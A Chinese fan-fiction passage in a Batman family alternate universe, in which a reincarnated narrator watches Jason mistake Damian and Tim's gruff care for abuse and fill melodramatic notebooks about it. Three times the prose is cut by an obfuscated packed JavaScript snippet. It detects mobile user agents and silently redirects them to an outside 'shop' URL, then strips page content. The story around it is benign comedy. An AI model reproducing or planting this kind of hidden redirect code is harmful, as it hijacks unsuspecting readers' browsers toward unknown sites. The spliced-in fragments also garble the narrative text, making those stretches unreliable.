为什么掌控家庭的是达米安,而不是布鲁斯?我又不是能直接读心,布鲁斯身上也绝对没有类似“悲痛”或者“愤怒”之类的情感,具体情况不得而知。 为什么提姆还是出现在了这里,是谁“收编”了他?还是和“剧本”中的一样是自己找上门的吗?他的父母德雷克夫妇呢? 然后是最重要的——迪克在哪里,他的父母还活着吗,他知道这个家的扭曲吗?! 救一下啊小太阳! “小鸡蛋?” 杰森的声音把我拽回来,“我们快到了。” “你脸色好差。”杰森皱眉,“晕车?” 我摇摇头,心累,深吸一口气,把那些问题暂时压下去。 ——我需要一个答案,但不是现在。 4. 第 4 章 韦恩庄园比我记忆里更冷,大概是缺少人气而面积太大导致的,这是我站在门前的第一反应。 阿尔弗雷德站在门口迎接我们,姿态笔挺,制服妥帖,语调温和,和任何一个世界任何时间的阿尔弗雷德一样无懈可击。 但我能感觉到某种紧绷。 那种"下一秒可能会有不愉快的事情发生"的、微妙的等待感。 “欢迎回家,杰森少爷。”老管家的目光落在杰森身上,没有责备,只是平静的接纳,“老爷很担心您。” 杰森硬邦邦地“嗯”了一声。 “以及,欢迎您,艾格尼斯小先生。”阿尔弗雷德转向我,微微欠身,“甜点已经准备好了,老爷特意嘱咐要等您们来了再用。” 我看着阿尔弗雷德那双永远镇定从容的眼睛,忽然想起很久以前另一个世界的某个(令我心碎的!我的CP被拆的!)深夜,这位老人给我端过一杯加了双倍糖的奶茶。 “……谢谢。”我说。 “而杰森少爷,我很抱歉,”管家先生突然话锋一转,语调里带着些惋惜,“我希望你能对后面即将发生的事有所准备。” ……? 杰森的身子猛地一颤,难以置信、如遭背叛的愤怒出现在他脸上,死死地盯着布鲁斯心虚的脸:“你不是说他不在家吗!?把我骗回来杀!?” “我也是刚刚得知,真的。”布鲁斯企图证明自己的清白,可是他的眼神已经出卖了他。 “刚刚是什么时候?” “你上车前……” 虽然杰森没出声,但看他表情想必心里骂得很脏。 ———— 大厅宽阔,奢华,一尘不染。 没有任何一件东西放错位置,看得出阿福为了维持这一切做出的努力——但这本身就不正常。 没有不知道属于谁又是谁在使用的外套随手搭在椅背,没有最新款的游戏手柄卡在沙发缝,没有半空的咖啡杯和只吃了几片最后被所有人嫌弃的薯片在茶几上忘记收走。 我想起主世界的韦恩庄园——迪克的运动鞋永远踢在玄关(这点他似乎没改过),杰森的机车杂志散落一地(也没见他那次真买了),提姆的几个笔记本电脑能占据半个餐桌(我一直很怀疑它们的用处),达米安的剑道护具偶尔出现在走廊拐角(也可以说是“陷阱”)。 斯蒂芬妮的指甲油一般只有不好看的能留下,因为好看的会和卡珊德拉一起用完然后和闪粉空瓶子一起堆成一个艺术装置。芭芭拉和杜克他们要上白班,因此一般是聚会的时候最开心的那几个。 而我,我的爱好只有音乐阅读和写作,加上本人四体不勤五谷不分伤害堪比一只成年香蕉,所以一直都是在各个能坐能躺的家具旁边放书的那一个。 综上所述,这是家。 而这里很显然是一座运作精良的堡垒。我没有否认阿福工作的意思,只是这里足够光鲜,但不够温情。 杰森臭着一张脸,想直接往自己房间去。我跟着杰森往里走,经过旋转楼梯时,听见脚步声从上方传来。不紧不慢,沉稳有力,脚步的主人估计心情不太好。 我抬头,一个熟悉又陌生的青年正从楼梯上走下来。 黑发,绿眼,十九岁。 面容是年轻版的布鲁斯·韦恩,约莫是混血的缘故,更加锋锐。神情是一种被精确控制的、近乎锋利的冷漠,仿佛他走的不是自家楼梯,而是在检阅某个需要评估的战场。 他穿着剪裁完美的深色定制西装,衬衫纽扣系到最上面一颗,很显然是刚刚从某个会议上下来,直接回到家里。 他的目光扫过杰森,扫过我,最后落在布鲁斯身上。 "父亲。"语气相当尊重 布鲁斯微微颔首,也像是表明自己真的不知情:"达米安,我以为你最早明天才回来。" 达米安的语气没有起伏:"纽约的事务处理得比预期顺利,相当简单。"仿佛那不是什么动辄百万的生意。 他顿了顿,将目光移到我身上。 "况且家里来了客人,我想我最好亲自迎接。" 杰森在我身后发出一声很轻的“切”声,拉拉我的衣角。 我没动。 我在看达米安身后的那个人。 提姆·德雷克,我的三哥,现在荣升成第二个哥。没想到他比我第一次见到他时的年纪更小了,长不大这一块。 他从达米安的侧后方走出,始终落后他一步,手里拿着平板电脑,姿态是精确的"副手跟在长官身后半步"的位置,当然这要忽略他脸上的不情愿。 他穿着合身的白衬衫和深色长裤,西服外套打在手臂上,头发打理得很整齐,眼睛下方有淡淡的青影。很符合我对他的大多数印象,不过他一般在家里穿的都是最休闲的衣服,而且不一定是他自己的。 他的目光先落在达米安身上——快速地、习惯性地确认什么——然后转向布鲁斯,再转向杰森。 最后落在我身上。 他微微点了点头。礼貌,客气,疏离,像在评估一个新录入系统的变量。 我想起主世界的提姆。 那个小时候就敢独自追踪蝙蝠侠(这点我不太有资格说他,我甚至是个失明后也独自在哥谭乱跑的捣蛋鬼)、熬夜破解密码时会往嘴里塞冷披萨、和达米安吵架能吵上半小时、笑起来有浅浅酒窝的提姆·德雷克。 那不是眼前这个人,我再一次在两个世界的差距间感受到不一样,唉。 ———— "艾格尼斯。" 达米安的声音把我从思绪里拽出来。这也是相当新奇的体验,达米安几乎不会喊我们的名字,一般是以姓氏代称。现在的我还没拿到那个陪伴我十几年的姓氏,他自然也只能称呼我的名。 “你可以叫我‘巴贝尔’。” 那对绿眼睛正盯着我,似乎是有些意外地挑眉,没有恶意,只是……计量。 我没说话,有些不知所措。很难说那是什么感受,总之心里酸涩涩的。 达米安等了一会,似乎没等到他预期的反应,便移开了视线。他觉得我应该是什么样子?害怕他的攻击性?好奇这个家的陈设?那我可能让他失望了。 “潘尼沃斯,晚餐按原定计划进行。” “是,达米安少爷。” 嘱咐完晚餐,达米安转向布鲁斯,微微颔首。 “父亲,晚间我需要与您讨论这次项目预算的事。七点半,您的书房?” “……好。” 安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454783|201214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排好一切,达米安随即转身离开,提姆则跟在他身后。布鲁斯可能是有事,在安排好我和杰森后也上楼了。阿福为我们端来了茶点,姿态恭敬地离开去准备晚餐。 大厅里一下子只剩下我和杰森两个人。 杰森凑到我耳边,压低声音,带着一种“我告诉过你吧”的悲愤: “看见没有!!!暴君!!!他怎么可以这样!?” 不过他很快就开心起来,因为他突然想起来达米安完全没有提他逃学的事。不管是不是因为今天有我这个客人在导致达米安不好直接教训他,都算是他逃过一劫。 我站在原地,仰头看着达米安和提姆消失在楼梯转角的身影,看着布鲁斯疲惫的背影走向书房,看着阿尔弗雷德沉稳如钟的背影走向厨房。 阳光透过彩色玻璃窗,在地板上投下瑰丽的光斑,像一片片初醒的梦,就如同现在的我心中捉摸不透的思绪。 ———— 杰森带我进到他的房间,一边在我耳边念叨逃跑路线。从资金“储备”、计划可行性到达米安的残酷统治,他一遍遍向我描绘那个“美好”的未来,大概就是他成为一方大佬啦揭露达米安暴行啦救出可怜的受压迫者啦之类堪比天书的故事。 我听着,没有打断。对他的话得可相度评估介于奇幻冒险话本和愚蠢弟弟作死日常实录之间,权当做背景音,等着他哪天被抓包然后得到一顿混合打。毕竟比起这些,还有很多疑问困扰着我—— 迪克在哪里? 卡珊德拉在哪里?斯蒂芬妮、芭芭拉还有其他人呢? 这个家还有多少我不知道的“裂痕”? 以及—— 我能做什么。 “杰森。”我突然出声打断他的畅想 “嗯?” “你会留在这里。”我斩钉截铁地说。 杰森愣了一下,上下打量我,觉得我的语气和我现在的模样有些割裂。哪个小孩子会是这样有超乎年龄的冷静和笃定的呢? 好吧其实挺多的。 “你说什么?” “我说,”我看着他,很轻地笑了一下,“我会和你一起留在这里。” 杰森张了张嘴,想反驳,却发现自己不知道该反驳什么。他确实看出来布鲁斯有考虑将艾格尼斯一起收养的想法,但是 “你……”他的声音忽然变得很轻,“你不是一直想被收养吗?想有爸爸妈妈?万一有更好的家庭——” 我摇摇头。 “不需要更好的。” 我看向楼梯的方向。 那里已经空无一人了。 "这里就很好呀。"我露出一口大白牙,恢复到“天真小朋友”模式。 “而且你也在这里,不是吗。” 杰森沉默了很久,然后他把手插进口袋,仰头看着天花板,用那种"我才没有感动"的语气说: “……随便你。” 随即顿了顿,想到了在这个家生存的最大障碍,再次下定决心。 “……反正我会盯着那恶魔的。他要是敢欺负你,我就——” 他比了个非常不文雅的街头手势。 我笑了。 窗外的哥谭,天空难得灰蓝,暮色渐沉,黑夜就要来了。 5. 第 5 章 我在韦恩庄园醒来的第一个早晨,按照上辈子的剧本,应该是被“小”达米安阴恻恻的视线给灼烧醒的,但没想到没出现蟑螂刺客打扰我的美梦,最终是被一阵窸窸窣窣的声音吵醒的。 我迷迷糊糊睁开眼——再次确认自己确实能看见——然后看见一颗黑漆漆的脑袋正趴在我床边,用一双熬夜熬得发红的眼睛死死盯着我,恐怖程度可以直接去演《床下有人》。 我吓得往后缩了缩,“杰森?” “嘘——”杰森竖起一根手指,眼神悲悯而坚定,表情严肃得像在从事什么机密活动,“你醒了正好,我有东西要给你看。” 他神神秘秘地从怀里抽出一个皱巴巴的笔记本。 笔记本不大,封面印着“课堂练习本”的字样,边角卷起,封面上用歪歪扭扭的字体写着: 《黑暗豪门观察日志·绝密·不许偷看·偷看的是狗》 我:“……” 我差点就翻一个白眼然后把他赶出去:“你叫我起床,就是为了给我看你的日记?” 或者让我变成狗? “不是日记!”杰森十分严肃地更正,拍拍笔记本封面,在上面的字来回点着,“是证据集。” 他啪地翻开第一页,把笔记本怼到我脸上,胸有成竹地说,“我记得你很聪明,认识很多单词,那你应该看得明白。” “看!” 我低头看去,白纸黑字,字迹还算新,偶有错漏但是很容易辨认。 第一页上写着日期——大概是三周前——下面是几行字迹: 【今天,恶魔又在书房“训话”。提姆站在他面前,低着头,看不清表情。恶魔说了什么,提姆的肩膀抖了一下,紧紧抿唇。然后恶魔伸出手——抬起了提姆的下巴。 提姆的眼睛红了。 恶魔说:“看着我。” 提姆就看着他。 那种眼神……我说不上来。像是害怕,又像是……别的什么。 我在门口躲着,大气不敢出。后来恶魔像是终于感到无趣了,挥了挥手,提姆就捂着嘴出去了。他经过走廊的时候,我看见他用手背蹭了一下眼睛。 那肯定是泪…… (旁边用红色的大字标注:一定是被骂哭了!这个恶魔连哭都不让哭出声!太残忍了!提姆怎么这么惨呐!)】 我慢慢抬起头,呆呆地看着杰森,企图从他的脸上看出一些被夺舍的痕迹。 杰森正一脸“你看懂了吗”的期待表情看着我,那眼神亮晶晶,活像一只叼回骨头等待夸奖的金毛,在等着我的夸奖。 不,不对。我机械地摇摇头,低下头,继续看第二段。 【今天晚餐,布鲁斯不在,一定是被恶魔抓取干活了。可恶的奴隶主,连自己的父亲都要压榨! 恶魔坐在主位,提姆坐在他右手边,两人挨得很近。提姆没什么食欲,恶魔看了一眼他没怎么动的盘子,皱眉,伸手——把盘子拽过来,开始切牛排。 切好了,推回去。 提姆愣了一下,小声说了什么。 (该死,早知道坐近一点了,完全没听清!) 恶魔深深看了他一眼,又把盘子拽回来,切得更小,再推过去。 提姆低头看着盘子很久,还是吃了。 恶魔目不斜视看着他吃,眼神直接而炽热,像看着自己的猎物。 (这是驯养!是控制!是精神压迫!这是需要反抗的!提姆支棱起来啊!)】 第三段: 【凌晨两点,我睡不着,准备去逛逛。他们一般不让我去东翼,那我就偏要去!在一个房间的门外,我听见里有声音。 我太好奇了,趴在门上听。没想到恶魔和提姆都在里面。 恶魔:“太慢了。” 提姆:“我……我可以解释。” 恶魔:“解释什么?零点三秒的延迟,就是生与死的距离。” 提姆没说话。 恶魔:“过来吧。” “没必要。” 然后是……好像是摔倒的声音?还是什么?乒乒乓乓,然后是提姆的闷哼和恶魔的一声嗤笑。 (旁边标注从痕迹上看格外用力:他推了他!恶魔对提姆动手了!他怎么可以?! 对,家暴!这是家暴!!!)】 我“啪”的一下合上笔记本。 一时间脑子想了很多,仿佛整个世界都一下子从洗衣机里捞出来放进去。我思考,从宇宙大爆炸开始,到人类进化史,再到哥谭的犯罪率为什么居高不下,甚至到克拉克这个世界是不是还是写蝙布——总之想东想西就是不想面对眼前的现实。 这很诡异好吗?!这离谱程度不亚于你告诉我超人其实是个超级甜文写手,每天偷偷监视自己的最佳搭档就为了收集黑暗骑士和哥谭玫瑰的甜蜜二三事—— 但后者就是真的啊!前者怎么想都不可能!就提姆和达米安之间的关系——算了,懂的都懂。 杰森紧张地盯着我,不自觉搓着手:“怎么样怎么样?是不是证据确凿?这下你总信了吧” 我张了张嘴,欲言又止,止又欲言,只能拼命眨眼。 我脑子里正在疯狂脑补应该有的剧情。 比如—— 家庭晚餐那段,达米安看了一眼提姆的盘子,发现那家伙只顾着处理公司文件或者工作,一口都没吃。他皱眉,把盘子拽过来切好,推回去。 提姆小声说“我还有事”,达米安面无表情地把盘子又拽回来,切得更小,再推过去,语气硬邦邦的:“吃。”提姆知道不能再和他对着干,只能悻悻听话吃饭。 有或者—— 凌晨两点,提姆还在书房处理达米安布置的“额外训练任务”,或者是某次夜巡回来后两人复盘。 达米安很不客气地评价说:“太慢了。”这是在责怪他面对攻击反应慢了。 提姆抬头,眼眶因为熬夜有点红:“我......我可以解释。”达米安:“解释什么?零点三秒的延迟,就是生与死的距离。” 然后他看出了提姆没说出口的伤要为他包扎:“过来把。”提姆以为又要挨训,磨磨蹭蹭走过去。 “摔倒的声音”,有没有可能是达米安强硬要替他上药两人推搡之下搞出来的。 至于“训话”—— 我都可以想见提姆是干了些什么让达米安都绷不住的好活,也许是做假账做出一辆蝙蝠车被达米安查出来了。 达米安一边生气一边好笑:“看着我。”大会计师不和他聊聊是怎么完美作案的吗? 而提姆应该是快压不住嘴角了,只能低头抿唇让自己不至于笑得太猖狂。他向来是用最乖的脸和态度做最出格的事的那种人,从来都是。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454784|201214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 泪水?别逗你提哥笑了! 不对,就算是我想象中的也很OOC吧!? ……好吧,这也不对。我决定暂时放弃对这个世界的达米安和提姆进行任何预判,以免打脸。毕竟连迪克都不见了,还有什么不可能发生的?那可是迪克! 杰森知不知道他写的这些,稍微换个角度解释,就是一部《霸道大哥其实很温柔只是不会说话》的亲情纪录片?迪克要是知道达米安会有这么一天,估计高兴得即使不是他家的他也要抱着说“终于长大了”的程度。 我重新翻开笔记本,又快速过了一遍杰森那些看似义愤填膺实则缠绵悱恻,在我看来诡异万分的描述。 我产生了一个哲学层面的疑问,很好地解释了自从苏醒以来的所有问题: 这个世界是疯了吗? 如果真相是A,那杰森记录的完完全全就是B!差距大概就是鱼和自行车的关系。所以到底是杰森疯了,还是这个世界疯了? 不对。 这个世界本来就是疯的。不仅顺序是反的,达米安和提姆兄友弟恭,布鲁斯温柔还会带孩子,杰森更是没想着成为义警一个劲写同人。 这都是什么事啊—— 不然就是我疯了。 “怎么样?”杰森还在旁边眼巴巴地看着我,“是不是很震撼?” 我沉默了,这已经不是我能用语言来形容的。 “……震撼。”我说,“非常震撼。” 眼睛看到后立刻联系免疫系统了。 杰森看到我空洞的眼神,满意地收回笔记本,认为自己终于找到了知心的同道中人。他甚至还拍了拍我的肩膀,用一种“同志辛苦了”的沉痛表情看着我。 我看着他,忽然想起一个问题。 “杰森。” “嗯?” “你有没有想过……万一你写的这些,不是真的,你该怎么办?” 杰森正打算挥舞的笔尖一顿,抬头看我。 “你什么意思?小鸡蛋,没证据的话可不能乱说!” 我斟酌着措辞,几乎想要啃指甲:“就是……就是万一那个恶魔,其实不是恶魔呢?万一提姆不是被控制的?万一他们之间……只是……只是家人?” 杰森眯着眼盯着我看了又看。 然后他爆发出一阵压抑的笑声——那种怕被人听见、但又实在忍不住的笑——笑得直拍大腿,眼泪都快出来。 “艾格尼斯!小家伙,你太天真了!你才来第一天,根本不懂!”他抹着笑出来的眼泪,上气不接下气,“家人?!你见过哪个家人会用那种眼神看另一个家人的?!你见过哪个家人会说‘零点三秒的延迟就是生与死的距离’这种台词的?!这明明是——” 他顿住了,眨巴眼,似乎在斟酌一个高级的词汇。 “——虐恋小说的标配对话!” 我的耳朵也要联系免疫系统了!虽然没用,但是想死! 我好歹是个正常人,悲哀地意识到一个问题: 如果杰森某天发现了真相——比如发现这个家里所有人都会说这种“虐恋台词”,互相说,对彼此说,对敌人也说,对罪犯也说,甚至对阿福烤糊的小甜饼也说—— 他会疯的吧。 肯定会疯的吧。 尤其是他甚至就是最喜欢和反派搞暧昧的那一个。 6. 第 6 章 “算了,当我什么都没说。”我灵魂出窍,“你继续。” 我又忍不住看了一眼笔记本上的其中一句:【恶魔把提姆按在墙上,眼神危险而炽热,仿佛要将他拆吃入腹。】 我想起刚才脑补的画面里,达米安确实会“按”提姆——在训练的时候,纠正他的格斗姿势,把他按在墙上示范受力点。 达米安的眼神确实“炽热”,那种“你要是再错一次我就让你加练两小时”的炽热。 至于“拆吃入腹”什么的—— 我认为如果提姆吃饭太慢,达米安确实有可能直接把他盘子里的食物叉起来塞他嘴里,面无表情地说:“咀嚼,吞咽,继续。” ……从某种角度来说,也算拆吃入腹吧。 杰森没有编造,他记录的都是真实发生的事。 只是他给这些事配的“注释”,和真相差了大概……十万八千里。现在的他,不是我能用短短几句话弄醒的。 反正我一时半会现在也解释不清,就让杰森先快乐地写他的小说吧。 毕竟—— 等他知道真相的那天,他会非常非常需要这些稿子来取暖的。 我指着杰森笔记本上的“恶魔逼迫可怜提姆喝下不明液体(疑似安眠药)”的标注。 “你有没有想过,”作为哥谭的良心,最高的道德标杆,我还是决定最后尝试一下,小心翼翼地措辞,“这些事……可能有另一种解释?” 杰森皱眉:“什么解释?” “比如……恶魔,不对,是达米安其实是在……关心提姆?”什么恶魔,那时达米安,我都差点也要被他带偏了! “关心?!”他又笑得差点背过气去,“小孩子,你不懂,你这是被恶魔的演技骗了!关心?!他——他要是会关心人,我杰森·陶德当场把这本笔记本吃了!” 是吗?那很馋了。我面无表情地想。 杰森笑够了,抹了抹眼角,把笔记本塞到我手里,豪气地一挥手。 “拿着,慢慢看,我还有更劲爆的没写呢。” “哎呀和你说话就是有意思,像你这么天真的孩子在哥谭真是少见啊。” 我低头看着手里皱巴巴的本子,有种不祥的预感。 “……你写了多少?”该不会不止这一本吧!? 杰森露出一个神秘莫测的笑容,脸上是高产的骄傲。 “三本——二十三天的观察记录,每一页都是证据。” 我眼前一黑。 ———— 早餐时间,接连经受打击的我心不在焉,低着头坐在位置上,面前摆着阿尔弗雷德精心准备的早餐。 布鲁斯坐在主位,像某种遥远的、被供奉的精神象征,被达米安和提姆一左一右簇拥着,看上去有种莫名的喜感。 提姆坐在达米安对面,两人面前是一模一样的早餐,只是将给我们的热可可换成了咖啡,和以前的大多数早晨没什么区别。这种古怪的既视感总会提醒我,即使他们不是和我认识相处了很久的同一个人,本质上其实还是一样的。 大概算是在不同世界开出的同一朵花。 杰森坐在我旁边,百无聊赖地用叉子戳着盘子里的培根,眼睛却一直往达米安和提姆那边瞟。而我看似在低头喝可可,实则在用余光观察。 达米安切了一片吐司,放进嘴里,咀嚼,吞咽。 提姆切了一片吐司,放进嘴里,咀嚼,吞咽。 达米安喝了一口咖啡,皱眉。 提姆停下咀嚼,看着他。 达米安没说话,把咖啡杯放回桌上。 提姆看了那杯子一眼,继续吃。 我不明所以,突然感觉到杰森的胳膊肘顶了我一下。 杰森鬼鬼祟祟凑过来,冲我使眼色:看见没?那咖啡——一定是太烫了或者太凉了,恶魔不满意——提姆紧张了!他都不敢继续吃了! ? 是我漏看了什么吗?咖啡好不好喝提姆有什么关系!那不是阿福的工作吗?这家伙到底在想些什么啊? 我不可置信地又看了一眼提姆。此时提姆正在专注地切煎蛋,动作平稳,表情平静,完全看不出什么有关“害怕”“忐忑”之类的情绪。 我对着杰森摇摇头:……看起来挺正常的。 那是伪装!杰森一脸痛心疾首,继续对着我挤眉弄眼:他被训练得能在恶魔面前隐藏真实情绪!你没看见他刚才停顿的那一下吗?那是本能的恐惧反应! 我用脑子艰难回忆了一下刚才的画面。 呃,提姆大概也许确实停顿了。 但我在主世界见过无数次提姆的"停顿"——那是他在高速处理信息的反应。 比如:达米安皱眉→咖啡有问题→记下来→回去调整豆子研磨度→继续吃。 很正常对吧。 但这不是恐惧,这是侦探的职业操守! 这都什么跟什么呀?! ———— 早餐进行到一半,阿尔弗雷德端着一个银盘进来,上面放着一个文件袋。 “达米安少爷,纽约来的加急文件。” 达米安接过信封,拆开,快速浏览,眉头越皱越紧。 提姆缓缓放下叉子,两手交叠,平静地看着达米安。 达米安将文件递给提姆。提姆接过,随后他的眉头也皱了起来。 全程两人相当默契,无需任何交流。 杰森的胳膊肘又顶了我一下,力度比刚才大了一倍。 “来了来了来了——”他的气声都在颤抖,一脸陶醉(?),“——一定出大事了——你看他们的表情——肯定是韦恩集团的黑暗内幕——可能是洗钱被发现了——也可能是竞争对手掌握了什么把柄——” 我不置可否地看着两人的动作,颇有一种猪队友带不动的滑稽感。 达米安:“你怎么看?” 提姆:“要价太高,太贪心可不行。我们的底线是百分之八,他们咬死百分之十二不放。但他们的技术专利确实是目前市场上唯一能和我们现有系统兼容的,确实有坐地起价的本事。” 达米安摇头。 “约他们下周再谈。让法务部准备备选方案,把B供应商的资料调出来,重新评估兼容性成本。” “把柄这种东西,越少越好。” 提姆点头,从口袋里掏出手机,开始打字。 杰森在旁边激动得脸都红了,就差整个人贴到两人身边听他们讲话:你听到了吗——“对方要价”——“技术专利”——“供应商”——这是商业谈判!肯定是是见不得光的那种!正常人谁会早上七点谈这个?!韦恩集团一定有问题! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454785|201214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杰森还是吃了没文化的亏,以后我无论如何也要劝布鲁斯让杰森学商务管理,让他看看什么是“正常”商业谈判。 我麻木地往嘴里塞了一口吐司。 我想起主世界提姆的日常:早上六点(这里特指熬了个通宵的早上)处理公司邮件,七点汇报给布鲁斯,八点出门上学,上午课堂上补觉,下午去公司上班,晚上再出门夜巡,半夜调查整理资料。 这不是“韦恩集团有问题”。 这是“双重身份社畜的日常”!甚至以后杰森也要成为这种阴间作息的一员。 而我,由于身体不好还看不见,一直都是最清闲作息最健康的那一个,和“家族事业”完全不沾边。每次聊起这个阿福都很欣慰,家里总归是有个能和他一起在夜里等待的正常人。 说起来家里有一个算一个都很能熬夜不睡觉,尤其是布鲁斯,他可是什么“死后自会长眠”鬼话的忠实拥趸,每天睡个几小时就能超长待机,当阔佬当花花公子当义警当超级英雄当总裁当家长,堪称资本主义的超级战士!谁看了不赞一句核动力牛马。 百特曼恐怖如斯! ———— 早餐结束,布鲁斯率先出门前往公司,达米安和提姆两人一前一后走向书房的方向。 本想着和阿福打听一下,杰森二话不说拉着我躲到走廊拐角,探头探脑地张望。 “他们又要去密谈了——说不定一谈就是一上午——你猜他们在里面干什么?” “……讨论工作?”不然呢,还能是什么? 杰森恨铁不成钢地看着我:“工作?!你太天真了!你想想,一个十九岁的恶魔,一个十六岁的无辜少年,单独关在书房里——能有什么''工作''好讨论的?!” 他脑子里究竟有多少废料啊?我咬牙切齿地想。 但我又很能理解他。 杰森此刻的表情,怎么说呢—— 像一个坚信自己发现了惊天秘密的业余侦探,像一个正在追更狗血连续剧、被剧情刺激得夜不能寐的忠实观众,也像是发现什么劲爆消息的超级八卦记者。 更像是……另一个我…… 灵光一现—— 我眯起眼,忽然有了一个可怕的猜想。 “杰森。” “嗯?” “你写那些东西……是不是觉得挺过瘾的?” 杰森一愣,不明白我在说什么:“你什么意思?” 我摸着下巴,尽量带入自己的感受:“就是……记录这些事的时候,有没有一种……开心的感觉?还想加入一些自己的理解。就比如,把真实发生的事,稍微添油加醋一点点……让它更像一个有趣故事?” 杰森没有回答,但他慢慢红的耳朵已经能给出答案了。 “……才没有!”他小声嘟囔,“才没有添油加醋!” 我盯着他:“真没有?” “……好吧,有一点。”杰森的声音越来越小,“但是那是因为事实本身就够刺激的!我还是如实记录!” “我只是在记录罪恶!这是证据!” “如实记录‘恶魔把提姆按在墙上’这样的证据吗?” “文学,这是文学!你个小孩子懂什么!我不和你说了。” 呵呵,一开始就给小孩子看少儿不良文学的不也是你吗? 7. 第 7 章 下午,杰森非要拉着我去“实地考察”,说什么耳听为虚眼见为实,让我一定亲眼看看什么叫虐待。 目的地是东翼的某个走廊尽头——据杰森说,这里是"恶魔和提姆夜间活动的高频区域",但他不知道我还不知道吗?这一块一般是他们毛茸茸的夜间“小爱好”的工作区! 于是我们两个现在蠢兮兮地躲在转角的一盆巨大绿植后面,杰森甚至欲盖弥彰地在头上盖了件绿色衣服。 他小心翼翼地从怀里掏出那个皱巴巴的笔记本,珍而重之地翻开一页,只见上面写着: 《东翼走廊观察记录表·谁不信谁是狗》 表格像模像样地分几列: 【时间——事件——可疑程度(1-10)——备注】 看这个专业程度,我估计是杰森这段时间在课程中学到的。虽然一开始就是在培养他的侦查天赋,但聪明如达米安和提姆,应该也想不到他们为杰森安排的能力训练会用到他俩身上。真是闹麻了。 21:00——提姆进书房——8——进去时表情疲惫,疑似被迫(划掉了,在后面用加粗的字体写着“就是被迫!!!”) 21:47——恶魔进书房——9——手里拿着什么(文件?鞭子?可恶,找知道凑近点了) 23:15——书房灯还亮着——10——他们在干什么?! 00:32——提姆出来——10——头发乱了!衣服皱了!眼眶红了!恶魔该不会?!】 我睁大眼睛看着最后一条备注。 “……头发乱了?”就这? 杰森压低声音:“千真万确!我亲眼看见的!他进去的时候头发整整齐齐,出来的时候——这样——”他用手比划了一个乱糟糟的形状,然后用悲戚的眼神看着那扇门,“可怜的提姆,被该死的恶魔玩弄于股掌之间!” “……就没可能是趴在桌上睡着了?”这对于提姆这样随地大小睡的人来说太常见了。 杰森嗤之以鼻:“睡着了?在恶魔的书房里?你觉得可能吗?” “他再心大也不可能!” 这话说的,不知道的还以为达米安是什么洪水猛兽呢。 我想了想主世界的提姆——那个能在蝙蝠电脑前连续工作二十小时、困极了就直接趴在桌上睡的人。我甚至不止一次看到达米安一边嫌弃一边给他盖上毯子,当然,那都是后话。 “……我觉得挺可能的呢。” 杰森不理我,继续往下翻。 下一页是一段小作文,标题是: 《深夜·书房·他和他》 我定睛看去,眼睛和脑子立刻被攻击了。 【夜色浓稠如墨,东翼走廊静得能听见自己的心跳。 他站在书房门外,手指悬在半空,终究没有敲下去。 里面传来压抑的声音,冷漠而锋利——是他在说话。 “你知道我不喜欢等人。” 另一个声音更低,更轻,带着一丝颤抖:“对不起……我……” “过来。” 然后是长久的沉默。 他靠在墙上,闭上眼睛。他知道里面在发生什么——那些不能言说的事,那些是只属于门内两个人的秘密。 他是他的——从一开始就是。 从他被带进这个家的第一天起,他的命运就已经注定。】 当我明白我在读的是什么时,已经来不及哩! 尤其是那句“过来”,总会不自觉脑补出水牛音,现在对达米安完全不能直视了! 我慢慢抬起头,杰森正紧张地看着我,像等待评委打分的参赛选手,还有着暗搓搓的兴奋和羞涩。有没有搞错,你一个未来的□□老大能不能别这么娇羞啊?! “怎么样怎么样?” 我张了张嘴,言语在他的文字面前时那样无力又苍白,任何否定的说辞除了。 我想说,杰森,你写的这些……完全是你的脑补。 我想说,这根本不是爱情小说,这是……这是超级英雄家庭的日常。 我想说,一切的一切不过是你主观臆断,是你被偏见蒙蔽了双眼。 但我说不出口! 因为,我,悲哀地,发现—— 杰森写得……还挺好看! 其他的先不管,那种阴郁的氛围,那种隐秘的张力,那种旁观者视角下的背德感,那种让人想继续往下看的冲动—— "杰森。"我听见自己强压着情绪说,"你以前……写过别的东西吗?" 杰森挠挠头:"没有。不过以前在街头的时候,偶尔会捡一些没人要的旧书看。有一次捡到一本破破烂烂的爱情小说,叫什么《呼啸山庄》……看得我头疼。” “那里面写的人有一个算一个都挺疯,不知道还以为是《阿卡姆山庄》呢。但有些句子写得还行,我就记下来了。” “……” “那么,我猜你从里面学到了什么,然后放到自己的文字里了,对吧?” “你怎么知道?!” ……希斯克利夫和凯瑟琳是吧,难怪呢。 只能说幸好他捡到的不是《五十度灰》吗……不然我都不敢想他能脑补出什么鬼东西…… ———— 接下来几天对于我像是一场荒诞的梦,生活进入了一种奇妙的节奏。 